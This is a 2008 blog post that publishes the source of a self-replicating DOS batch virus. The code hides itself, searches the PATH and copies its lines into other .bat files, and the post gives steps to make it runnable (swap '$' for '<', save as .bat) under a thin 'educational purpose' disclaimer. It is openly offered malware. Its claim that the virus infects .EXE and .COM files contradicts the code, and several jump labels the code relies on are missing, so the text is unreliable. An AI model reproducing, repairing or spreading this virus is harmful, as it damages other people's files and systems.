Saturday, January 12, 2008

Simple virus code for dos

Here is the code of a very simple virus that most antivirus will detect unless you have a old version of antivirus. Be careful with this virus although this virus is detected by most antivirus it's a bit dangerous .This virus creates clone of itself. You will land in serious trouble if you spread it to others.Even while testing it yourself test it on a new folder with no important files that too if possible on a empty non-windows drive. I am giving the code purely for educational purpose i dont intend to create any havoc.

@echo off>nul.ViRuS
if "%1=="/ViRuS_MULTIPLY goto ViRuS_multiply
if "%1=="/ViRuS_OUTER_LOOP goto ViRuS_outer_loop
if "%1=="/ViRuS_FINDSELF goto ViRuS_findself
if "%VOFF%=="T goto ViRuS_OLDBAT

set ViRuSname=%0
if not exist %0.bat call %0 /ViRuS_FINDSELF %path%
if not exist %ViRuSname%.bat set ViRuSname=
if "%ViRuSname%==" goto ViRuS_OLDBAT

rem ViRuS if batch is started with name.BAT, virus will not become active
rem ViRuS it was a bug, now it's a feature ! (also notice the voff variable)
rem ViRuS also if batch was only in an append /x:on path (chance=minimal)

attrib +h %ViRuSname%.bat
for %%a in (%path%;.) do call %0 /ViRuS_OUTER_LOOP %%a
attrib -h %ViRuSname%.bat
set ViRuSname=

if "%2==" goto XXX_END>nul.ViRuS
if exist %2\%ViRuSname%.bat set ViRuSname=%2\%ViRuSname%
if exist %ViRuSname%.bat goto XXX_END
if exist %2%ViRuSname%.bat set ViRuSname=%2%ViRuSname%
if exist %ViRuSname%.bat goto XXX_END
goto ViRuS_findself

for %%a in (%2\*.bat;%2*.bat) do call %0 /ViRuS_MULTIPLY %%a
goto XXX_END>nul.ViRuS

find "ViRuS" $%ViRuSname%.bat >xViRuSx.bat
find /v "ViRuS" $%2 find /v ":XXX_END" >>xViRuSx.bat
echo :XXX_END>>xViRuSx.bat
copy xViRuSx.bat %2>nul
del xViRuSx.bat
goto XXX_END>nul.ViRuS

echo on>nul.ViRuS
echo This is the dummy Virus Created By Elite and Rishabh

In the above code replace $ with <. You should find 2 $ in the code. An easy way out is copy the code in Ms word or notepad and use the replace option found under edit.
Once you have made all the changes just save it as filename.bat (i.e .bat extention).Now the virus is ready.

This virus will affect only .EXE and .COM files. These files too will become virus.


Post a Comment